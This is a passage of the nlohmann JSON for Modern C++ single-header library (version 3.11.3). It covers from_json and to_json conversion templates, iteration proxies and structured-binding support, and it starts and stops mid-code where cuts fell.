BasicJsonType, typename StringType,\n        enable_if_t <\n        std::is_assignable<StringType&, const typename BasicJsonType::string_t>::value\n        && is_detected_exact<typename BasicJsonType::string_t::value_type, value_type_t, StringType>::value\n        && !std::is_same<typename BasicJsonType::string_t, StringType>::value\n        && !is_json_ref<StringType>::value, int > = 0 >\n    inline void from_json(const BasicJsonType& j, StringType& s)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_string()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be string, but is \", j.type_name()), &j));\n        }\n\n        s = *j.template get_ptr<const typename BasicJsonType::string_t*>();\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::number_float_t& val)\n    {\n        get_arithmetic_value(j, val);\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::number_unsigned_t& val)\n    {\n        get_arithmetic_value(j, val);\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::number_integer_t& val)\n    {\n        get_arithmetic_value(j, val);\n    }\n\n#if !JSON_DISABLE_ENUM_SERIALIZATION\n    template<typename BasicJsonType, typename EnumType,\n        enable_if_t<std::is_enum<EnumType>::value, int> = 0>\n    inline void from_json(const BasicJsonType& j, EnumType& e)\n    {\n        typename std::underlying_type<EnumType>::type val;\n        get_arithmetic_value(j, val);\n        e = static_cast<EnumType>(val);\n    }\n#endif  // JSON_DISABLE_ENUM_SERIALIZATION\n\n    // forward_list doesn't have an insert method\n    template<typename BasicJsonType, typename T, typename Allocator,\n        enable_if_t<is_getable<BasicJsonType, T>::value, int> = 0>\n    inline void from_json(const BasicJsonType& j, std::forward_list<T, Allocator>& l)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n        l.clear();\n        std::transform(j.rbegin(), j.rend(),\n            std::front_inserter(l), [](const BasicJsonType& i)\n            {\n                return i.template get<T>();\n            });\n    }\n\n    // valarray doesn't have an insert method\n    template<typename BasicJsonType, typename T,\n        enable_if_t<is_getable<BasicJsonType, T>::value, int> = 0>\n    inline void from_json(const BasicJsonType& j, std::valarray<T>& l)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n        l.resize(j.size());\n        std::transform(j.begin(), j.end(), std::begin(l),\n            [](const BasicJsonType& elem)\n            {\n                return elem.template get<T>();\n            });\n    }\n\n    template<typename BasicJsonType, typename T, std::size_t N>\n    auto from_json(const BasicJsonType& j, T(&arr)[N])  // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n        -> decltype(j.template get<T>(), void())\n    {\n        for (std::size_t i = 0; i < N; ++i)\n        {\n            arr[i] = j.at(i).template get<T>();\n        }\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json_array_impl(const BasicJsonType& j, typename BasicJsonType::array_t& arr, priority_tag<3> /*unused*/)\n    {\n        arr = *j.template get_ptr<const typename BasicJsonType::array_t*>();\n    }\n\n    template<typename BasicJsonType, typename T, std::size_t N>\n    auto from_json_array_impl(const BasicJsonType& j, std::array<T, N>& arr,\n        priority_tag<2> /*unused*/)\n        -> decltype(j.template get<T>(), void())\n    {\n        for (std::size_t i = 0; i < N; ++i)\n        {\n            arr[i] = j.at(i).template get<T>();\n        }\n    }\n\n    template<typename BasicJsonType, typename ConstructibleArrayType,\n        enable_if_t<\n        std::is_assignable<ConstructibleArrayType&, ConstructibleArrayType>::value,\n        int> = 0>\n    auto from_json_array_impl(const BasicJsonType& j, ConstructibleArrayType& arr, priority_tag<1> /*unused*/)\n        -> decltype(\n            arr.reserve(std::declval<typename ConstructibleArrayType::size_type>()),\n            j.template get<typename ConstructibleArrayType::value_type>(),\n            void())\n    {\n        using std::end;\n\n        ConstructibleArrayType ret;\n        ret.reserve(j.size());\n        std::transform(j.begin(), j.end(),\n            std::inserter(ret, end(ret)), [](const BasicJsonType& i)\n            {\n                // get<BasicJsonType>() returns *this, this won't call a from_json\n                // method when value_type is BasicJsonType\n                return i.template get<typename ConstructibleArrayType::value_type>();\n            });\n        arr = std::move(ret);\n    }\n\n    template<typename BasicJsonType, typename ConstructibleArrayType,\n        enable_if_t<\n        std::is_assignable<ConstructibleArrayType&, ConstructibleArrayType>::value,\n        int> = 0>\n    inline void from_json_array_impl(const BasicJsonType& j, ConstructibleArrayType& arr,\n        priority_tag<0> /*unused*/)\n    {\n        using std::end;\n\n        ConstructibleArrayType ret;\n        std::transform(\n            j.begin(), j.end(), std::inserter(ret, end(ret)),\n            [](const BasicJsonType& i)\n            {\n                // get<BasicJsonType>() returns *this, this won't call a from_json\n                // method when value_type is BasicJsonType\n                return i.template get<typename ConstructibleArrayType::value_type>();\n            });\n        arr = std::move(ret);\n    }\n\n    template < typename BasicJsonType, typename ConstructibleArrayType,\n        enable_if_t <\n        is_constructible_array_type<BasicJsonType, ConstructibleArrayType>::value &&\n        !is_constructible_object_type<BasicJsonType, ConstructibleArrayType>::value &&\n        !is_constructible_string_type<BasicJsonType, ConstructibleArrayType>::value &&\n        !std::is_same<ConstructibleArrayType, typename BasicJsonType::binary_t>::value &&\n        !is_basic_json<ConstructibleArrayType>::value,\n        int > = 0 >\n    auto from_json(const BasicJsonType& j, ConstructibleArrayType& arr)\n        -> decltype(from_json_array_impl(j, arr, priority_tag<3> {}),\n            j.template get<typename ConstructibleArrayType::value_type>(),\n            void())\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n\n        from_json_array_impl(j, arr, priority_tag<3> {});\n    }\n\n    template < typename BasicJsonType, typename T, std::size_t... Idx >\n    std::array<T, sizeof...(Idx)> from_json_inplace_array_impl(BasicJsonType&& j,\n        identity_tag<std::array<T, sizeof...(Idx)>> /*unused*/, index_sequence<Idx...> /*unused*/)\n    {\n        return { { std::forward<BasicJsonType>(j).at(Idx).template get<T>()... } };\n    }\n\n    template < typename BasicJsonType, typename T, std::size_t N >\n    auto from_json(BasicJsonType&& j, identity_tag<std::array<T, N>> tag)\n        -> decltype(from_json_inplace_array_impl(std::forward<BasicJsonType>(j), tag, make_index_sequence<N> {}))\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n\n        return from_json_inplace_array_impl(std::forward<BasicJsonType>(j), tag, make_index_sequence<N> {});\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::binary_t& bin)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_binary()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be binary, but is \", j.type_name()), &j));\n        }\n\n        bin = *j.template get_ptr<const typename BasicJsonType::binary_t*>();\n    }\n\n    template<typename BasicJsonType, typename ConstructibleObjectType,\n        enable_if_t<is_constructible_object_type<BasicJsonType, ConstructibleObjectType>::value, int> = 0>\n    inline void from_json(const BasicJsonType& j, ConstructibleObjectType& obj)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_object()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be object, but is \", j.type_name()), &j));\n        }\n\n        ConstructibleObjectType ret;\n        const auto* inner_object = j.template get_ptr<const typename BasicJsonType::object_t*>();\n        using value_type = typename ConstructibleObjectType::value_type;\n        std::transform(\n            inner_object->begin(), inner_object->end(),\n            std::inserter(ret, ret.begin()),\n            [](typename BasicJsonType::object_t::value_type const& p)\n            {\n                return value_type(p.first, p.second.template get<typename ConstructibleObjectType::mapped_type>());\n            });\n        obj = std::move(ret);\n    }\n\n    // overload for arithmetic types, not chosen for basic_json template arguments\n    // (BooleanType, etc..); note: Is it really necessary to provide explicit\n    // overloads for boolean_t etc. in case of a custom BooleanType which is not\n    // an arithmetic type?\n    template < typename BasicJsonType, typename ArithmeticType,\n        enable_if_t <\n        std::is_arithmetic<ArithmeticType>::value &&\n        !std::is_same<ArithmeticType, typename BasicJsonType::number_unsigned_t>::value &&\n        !std::is_same<ArithmeticType, typename BasicJsonType::number_integer_t>::value &&\n        !std::is_same<ArithmeticType, typename BasicJsonType::number_float_t>::value &&\n        !std::is_same<ArithmeticType, typename BasicJsonType::boolean_t>::value,\n        int > = 0 >\n    inline void from_json(const BasicJsonType& j, ArithmeticType& val)\n    {\n        switch (static_cast<value_t>(j))\n        {\n        case value_t::number_unsigned:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_unsigned_t*>());\n            break;\n        }\n        case value_t::number_integer:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_integer_t*>());\n            break;\n        }\n        case value_t::number_float:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_float_t*>());\n            break;\n        }\n        case value_t::boolean:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::boolean_t*>());\n            break;\n        }\n\n        case value_t::null:\n        case value_t::object:\n        case value_t::array:\n        case value_t::string:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n            JSON_THROW(type_error::create(302, concat(\"type must be number, but is \", j.type_name()), &j));\n        }\n    }\n\n    template<typename BasicJsonType, typename... Args, std::size_t... Idx>\n    std::tuple<Args...> from_json_tuple_impl_base(BasicJsonType&& j, index_sequence<Idx...> /*unused*/)\n    {\n        return std::make_tuple(std::forward<BasicJsonType>(j).at(Idx).template get<Args>()...);\n    }\n\n    template < typename BasicJsonType, class A1, class A2 >\n    std::pair<A1, A2> from_json_tuple_impl(BasicJsonType&& j, identity_tag<std::pair<A1, A2>> /*unused*/, priority_tag<0> /*unused*/)\n    {\n        return { std::forward<BasicJsonType>(j).at(0).template get<A1>(),\n                std::forward<BasicJsonType>(j).at(1).template get<A2>() };\n    }\n\n    template<typename BasicJsonType, typename A1, typename A2>\n    inline void from_json_tuple_impl(BasicJsonType&& j, std::pair<A1, A2>& p, priority_tag<1> /*unused*/)\n    {\n        p = from_json_tuple_impl(std::forward<BasicJsonType>(j), identity_tag<std::pair<A1, A2>> {}, priority_tag<0> {});\n    }\n\n    template<typename BasicJsonType, typename... Args>\n    std::tuple<Args...> from_json_tuple_impl(BasicJsonType&& j, identity_tag<std::tuple<Args...>> /*unused*/, priority_tag<2> /*unused*/)\n    {\n        return from_json_tuple_impl_base<BasicJsonType, Args...>(std::forward<BasicJsonType>(j), index_sequence_for<Args...> {});\n    }\n\n    template<typename BasicJsonType, typename... Args>\n    inline void from_json_tuple_impl(BasicJsonType&& j, std::tuple<Args...>& t, priority_tag<3> /*unused*/)\n    {\n        t = from_json_tuple_impl_base<BasicJsonType, Args...>(std::forward<BasicJsonType>(j), index_sequence_for<Args...> {});\n    }\n\n    template<typename BasicJsonType, typename TupleRelated>\n    auto from_json(BasicJsonType&& j, TupleRelated&& t)\n        -> decltype(from_json_tuple_impl(std::forward<BasicJsonType>(j), std::forward<TupleRelated>(t), priority_tag<3> {}))\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n\n        return from_json_tuple_impl(std::forward<BasicJsonType>(j), std::forward<TupleRelated>(t), priority_tag<3> {});\n    }\n\n    template < typename BasicJsonType, typename Key, typename Value, typename Compare, typename Allocator,\n        typename = enable_if_t < !std::is_constructible <\n        typename BasicJsonType::string_t, Key >::value >>\n        inline void from_json(const BasicJsonType& j, std::map<Key, Value, Compare, Allocator>& m)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n        m.clear();\n        for (const auto& p : j)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!p.is_array()))\n            {\n                JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", p.type_name()), &j));\n            }\n            m.emplace(p.at(0).template get<Key>(), p.at(1).template get<Value>());\n        }\n    }\n\n    template < typename BasicJsonType, typename Key, typename Value, typename Hash, typename KeyEqual, typename Allocator,\n        typename = enable_if_t < !std::is_constructible <\n        typename BasicJsonType::string_t, Key >::value >>\n        inline void from_json(const BasicJsonType& j, std::unordered_map<Key, Value, Hash, KeyEqual, Allocator>& m)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_array()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", j.type_name()), &j));\n        }\n        m.clear();\n        for (const auto& p : j)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!p.is_array()))\n            {\n                JSON_THROW(type_error::create(302, concat(\"type must be array, but is \", p.type_name()), &j));\n            }\n            m.emplace(p.at(0).template get<Key>(), p.at(1).template get<Value>());\n        }\n    }\n\n#if JSON_HAS_FILESYSTEM || JSON_HAS_EXPERIMENTAL_FILESYSTEM\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, std_fs::path& p)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_string()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be string, but is \", j.type_name()), &j));\n        }\n        p = *j.template get_ptr<const typename BasicJsonType::string_t*>();\n    }\n#endif\n\n    struct from_json_fn\n    {\n        template<typename BasicJsonType, typename T>\n        auto operator()(const BasicJsonType& j, T&& val) const\n            noexcept(noexcept(from_json(j, std::forward<T>(val))))\n            -> decltype(from_json(j, std::forward<T>(val)))\n        {\n            return from_json(j, std::forward<T>(val));\n        }\n    };\n\n}  // namespace detail\n\n#ifndef JSON_HAS_CPP_17\n/// namespace to hold default `from_json` function\n/// to see why this is required:\n/// http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4381.html\nnamespace // NOLINT(cert-dcl59-cpp,fuchsia-header-anon-namespaces,google-build-namespaces)\n{\n#endif\n    JSON_INLINE_VARIABLE constexpr const auto& from_json = // NOLINT(misc-definitions-in-headers)\n        detail::static_const<detail::from_json_fn>::value;\n#ifndef JSON_HAS_CPP_17\n}  // namespace\n#endif\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/conversions/to_json.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // copy\n#include <iterator> // begin, end\n#include <string> // string\n#include <tuple> // tuple, get\n#include <type_traits> // is_same, is_constructible, is_floating_point, is_enum, underlying_type\n#include <utility> // move, forward, declval, pair\n#include <valarray> // valarray\n#include <vector> // vector\n\n// #include <nlohmann/detail/iterators/iteration_proxy.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef> // size_t\n#include <iterator> // input_iterator_tag\n#include <string> // string, to_string\n#include <tuple> // tuple_size, get, tuple_element\n#include <utility> // move\n\n#if JSON_HAS_RANGES\n#include <ranges> // enable_borrowed_range\n#endif\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename string_type>\n    void int_to_string(string_type& target, std::size_t value)\n    {\n        // For ADL\n        using std::to_string;\n        target = to_string(value);\n    }\n    template<typename IteratorType> class iteration_proxy_value\n    {\n    public:\n        using difference_type = std::ptrdiff_t;\n        using value_type = iteration_proxy_value;\n        using pointer = value_type*;\n        using reference = value_type&;\n        using iterator_category = std::input_iterator_tag;\n        using string_type = typename std::remove_cv< typename std::remove_reference<decltype(std::declval<IteratorType>().key()) >::type >::type;\n\n    private:\n        /// the iterator\n        IteratorType anchor{};\n        /// an index for arrays (used to create key names)\n        std::size_t array_index = 0;\n        /// last stringified array index\n        mutable std::size_t array_index_last = 0;\n        /// a string representation of the array index\n        mutable string_type array_index_str = \"0\";\n        /// an empty string (to return a reference for primitive values)\n        string_type empty_str{};\n\n    public:\n        explicit iteration_proxy_value() = default;\n        explicit iteration_proxy_value(IteratorType it, std::size_t array_index_ = 0)\n            noexcept(std::is_nothrow_move_constructible<IteratorType>::value\n                && std::is_nothrow_default_constructible<string_type>::value)\n            : anchor(std::move(it))\n            , array_index(array_index_)\n        {\n        }\n\n        iteration_proxy_value(iteration_proxy_value const&) = default;\n        iteration_proxy_value& operator=(iteration_proxy_value const&) = default;\n        // older GCCs are a bit fussy and require explicit noexcept specifiers on defaulted functions\n        iteration_proxy_value(iteration_proxy_value&&)\n            noexcept(std::is_nothrow_move_constructible<IteratorType>::value\n                && std::is_nothrow_move_constructible<string_type>::value) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor,cppcoreguidelines-noexcept-move-operations)\n        iteration_proxy_value& operator=(iteration_proxy_value&&)\n            noexcept(std::is_nothrow_move_assignable<IteratorType>::value\n                && std::is_nothrow_move_assignable<string_type>::value) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor,cppcoreguidelines-noexcept-move-operations)\n        ~iteration_proxy_value() = default;\n\n        /// dereference operator (needed for range-based for)\n        const iteration_proxy_value& operator*() const\n        {\n            return *this;\n        }\n\n        /// increment operator (needed for range-based for)\n        iteration_proxy_value& operator++()\n        {\n            ++anchor;\n            ++array_index;\n\n            return *this;\n        }\n\n        iteration_proxy_value operator++(int)& // NOLINT(cert-dcl21-cpp)\n        {\n            auto tmp = iteration_proxy_value(anchor, array_index);\n            ++anchor;\n            ++array_index;\n            return tmp;\n        }\n\n        /// equality operator (needed for InputIterator)\n        bool operator==(const iteration_proxy_value& o) const\n        {\n            return anchor == o.anchor;\n        }\n\n        /// inequality operator (needed for range-based for)\n        bool operator!=(const iteration_proxy_value& o) const\n        {\n            return anchor != o.anchor;\n        }\n\n        /// return key of the iterator\n        const string_type& key() const\n        {\n            JSON_ASSERT(anchor.m_object != nullptr);\n\n            switch (anchor.m_object->type())\n            {\n                // use integer array index as key\n            case value_t::array:\n            {\n                if (array_index != array_index_last)\n                {\n                    int_to_string(array_index_str, array_index);\n                    array_index_last = array_index;\n                }\n                return array_index_str;\n            }\n\n            // use key from the object\n            case value_t::object:\n                return anchor.key();\n\n                // use an empty key for all primitive types\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n                return empty_str;\n            }\n        }\n\n        /// return value of the iterator\n        typename IteratorType::reference value() const\n        {\n            return anchor.value();\n        }\n    };\n\n    /// proxy class for the items() function\n    template<typename IteratorType> class iteration_proxy\n    {\n    private:\n        /// the container to iterate\n        typename IteratorType::pointer container = nullptr;\n\n    public:\n        explicit iteration_proxy() = default;\n\n        /// construct iteration proxy from a container\n        explicit iteration_proxy(typename IteratorType::reference cont) noexcept\n            : container(&cont) {\n        }\n\n        iteration_proxy(iteration_proxy const&) = default;\n        iteration_proxy& operator=(iteration_proxy const&) = default;\n        iteration_proxy(iteration_proxy&&) noexcept = default;\n        iteration_proxy& operator=(iteration_proxy&&) noexcept = default;\n        ~iteration_proxy() = default;\n\n        /// return iterator begin (needed for range-based for)\n        iteration_proxy_value<IteratorType> begin() const noexcept\n        {\n            return iteration_proxy_value<IteratorType>(container->begin());\n        }\n\n        /// return iterator end (needed for range-based for)\n        iteration_proxy_value<IteratorType> end() const noexcept\n        {\n            return iteration_proxy_value<IteratorType>(container->end());\n        }\n    };\n\n    // Structured Bindings Support\n    // For further reference see https://blog.tartanllama.xyz/structured-bindings/\n    // And see https://github.com/nlohmann/json/pull/1391\n    template<std::size_t N, typename IteratorType, enable_if_t<N == 0, int> = 0>\n    auto get(const nlohmann::detail::iteration_proxy_value<IteratorType>& i) -> decltype(i.key())\n    {\n        return i.key();\n    }\n    // Structured Bindings Support\n    // For further reference see https://blog.tartanllama.xyz/structured-bindings/\n    // And see https://github.com/nlohmann/json/pull/1391\n    template<std::size_t N, typename IteratorType, enable_if_t<N == 1, int> = 0>\n    auto get(const nlohmann::detail::iteration_proxy_value<IteratorType>& i) -> decltype(i.value())\n    {\n        return i.value();\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// The Addition to the STD Namespace is required to add\n// Structured Bindings Support to the iteration_proxy_value class\n// For further reference see https://blog.tartanllama.xyz/structured-bindings/\n// And see https://github.com/nlohmann/json/pull/1391\nnamespace std\n{\n\n#if defined(__clang__)\n    // Fix: https://github.com/nlohmann/json/issues/1401\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wmismatched-tags\"\n#endif\n    template<typename IteratorType>\n    class tuple_size<::nlohmann::detail::iteration_proxy_value<IteratorType>> // NOLINT(cert-dcl58-cpp)\n        : public std::integral_constant<std::size_t, 2> {\n    };\n\n    template<std::size_t N, typename IteratorType>\n    class tuple_element<N, ::nlohmann::detail::iteration_proxy_value<IteratorType >> // NOLINT(cert-dcl58-cpp)\n    {\n    public:\n        using type = decltype(\n            get<N>(std::declval <\n                ::nlohmann::detail::iteration_proxy_value<IteratorType >> ()));\n    };\n#if defined(__clang__)\n#pragma clang diagnostic pop\n#endif\n\n}  // namespace std\n\n#if JSON_HAS_RANGES\ntemplate <typename IteratorType>\ninline constexpr bool ::std::ranges::enable_borrowed_range<::nlohmann::detail::iteration_proxy<IteratorType>> = true;\n#endif\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/std_fs.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    //////////////////\n    // constructors //\n    //////////////////\n\n    /*\n     * Note all external_constructor<>::construct functions need to call\n     * j.m_data.m_value.destroy(j.m_data.m_type) to avoid a memory leak in case j contains an\n     * allocated value (e.g., a string). See bug issue\n     * https://github.com/nlohmann/json/issues/2865 for more information.\n     */\n\n    template<value_t> struct external_constructor;\n\n    template<>\n    struct external_constructor<value_t::boolean>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::boolean_t b) noexcept\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::boolean;\n            j.m_data.m_value = b;\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::string>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, const typename BasicJsonType::string_t& s)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::string;\n            j.m_data.m_value = s;\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::string_t&& s)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::string;\n            j.m_data.m_value = std::move(s);\n            j.assert_invariant();\n        }\n\n        template < typename BasicJsonType, typename CompatibleStringType,\n            enable_if_t < !std::is_same<CompatibleStringType, typename BasicJsonType::string_t>::value,\n            int > = 0 >\n        static void construct(BasicJsonType& j, const CompatibleStringType& str)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::string;\n            j.m_data.m_value.string = j.template create<typename BasicJsonType::string_t>(str);\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::binary>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, const typename BasicJsonType::binary_t& b)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::binary;\n            j.m_data.m_value = typename BasicJsonType::binary_t(b);\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::binary_t&& b)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::binary;\n            j.m_data.m_value = typename BasicJsonType::binary_t(std::move(b));\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::number_float>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::number_float_t val) noexcept\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::number_float;\n            j.m_data.m_value = val;\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::number_unsigned>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::number_unsigned_t val) noexcept\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::number_unsigned;\n            j.m_data.m_value = val;\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::number_integer>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::number_integer_t val) noexcept\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::number_integer;\n            j.m_data.m_value = val;\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::array>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, const typename BasicJsonType::array_t& arr)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::array;\n            j.m_data.m_value = arr;\n            j.set_parents();\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::array_t&& arr)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::array;\n            j.m_data.m_value = std::move(arr);\n            j.set_parents();\n            j.assert_invariant();\n        }\n\n        template < typename BasicJsonType, typename CompatibleArrayType,\n            enable_if_t < !std::is_same<CompatibleArrayType, typename BasicJsonType::array_t>::value,\n            int > = 0 >\n        static void construct(BasicJsonType& j, const CompatibleArrayType& arr)\n        {\n            using std::begin;\n            using std::end;\n\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::array;\n            j.m_data.m_value.array = j.template create<typename BasicJsonType::array_t>(begin(arr), end(arr));\n            j.set_parents();\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, const std::vector<bool>& arr)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::array;\n            j.m_data.m_value = value_t::array;\n            j.m_data.m_value.array->reserve(arr.size());\n            for (const bool x : arr)\n            {\n                j.m_data.m_value.array->push_back(x);\n                j.set_parent(j.m_data.m_value.array->back());\n            }\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType, typename T,\n            enable_if_t<std::is_convertible<T, BasicJsonType>::value, int> = 0>\n        static void construct(BasicJsonType& j, const std::valarray<T>& arr)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::array;\n            j.m_data.m_value = value_t::array;\n            j.m_data.m_value.array->resize(arr.size());\n            if (arr.size() > 0)\n            {\n                std::copy(std::begin(arr), std::end(arr), j.m_data.m_value.array->begin());\n            }\n            j.set_parents();\n            j.assert_invariant();\n        }\n    };\n\n    template<>\n    struct external_constructor<value_t::object>\n    {\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, const typename BasicJsonType::object_t& obj)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::object;\n            j.m_data.m_value = obj;\n            j.set_parents();\n            j.assert_invariant();\n        }\n\n        template<typename BasicJsonType>\n        static void construct(BasicJsonType& j, typename BasicJsonType::object_t&& obj)\n        {\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::object;\n            j.m_data.m_value = std::move(obj);\n            j.set_parents();\n            j.assert_invariant();\n        }\n\n        template < typename BasicJsonType, typename CompatibleObjectType,\n            enable_if_t < !std::is_same<CompatibleObjectType, typename BasicJsonType::object_t>::value, int > = 0 >\n        static void construct(BasicJsonType& j, const CompatibleObjectType& obj)\n        {\n            using std::begin;\n            using std::end;\n\n            j.m_data.m_value.destroy(j.m_data.m_type);\n            j.m_data.m_type = value_t::object;\n            j.m_data.m_value.object = j.template create<typename BasicJsonType::object_t>(begin(obj), end(obj));\n            j.set_parents();\n            j.assert_invariant();\n        }\n    };\n\n    /////////////\n    // to_json //\n    /////////////\n\n    template<typename BasicJsonType, typename T,\n        enable_if_t<std::is_same<T, typename BasicJsonType::boolean_t>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, T b) noexcept\n    {\n        external_constructor<value_t::boolean>::construct(j, b);\n    }\n\n    template < typename BasicJsonType, typename BoolRef,\n        enable_if_t <\n        ((std::is_same<std::vector<bool>::reference, BoolRef>::value\n            && !std::is_same <std::vector<bool>::reference, typename BasicJsonType::boolean_t&>::value)\n            || 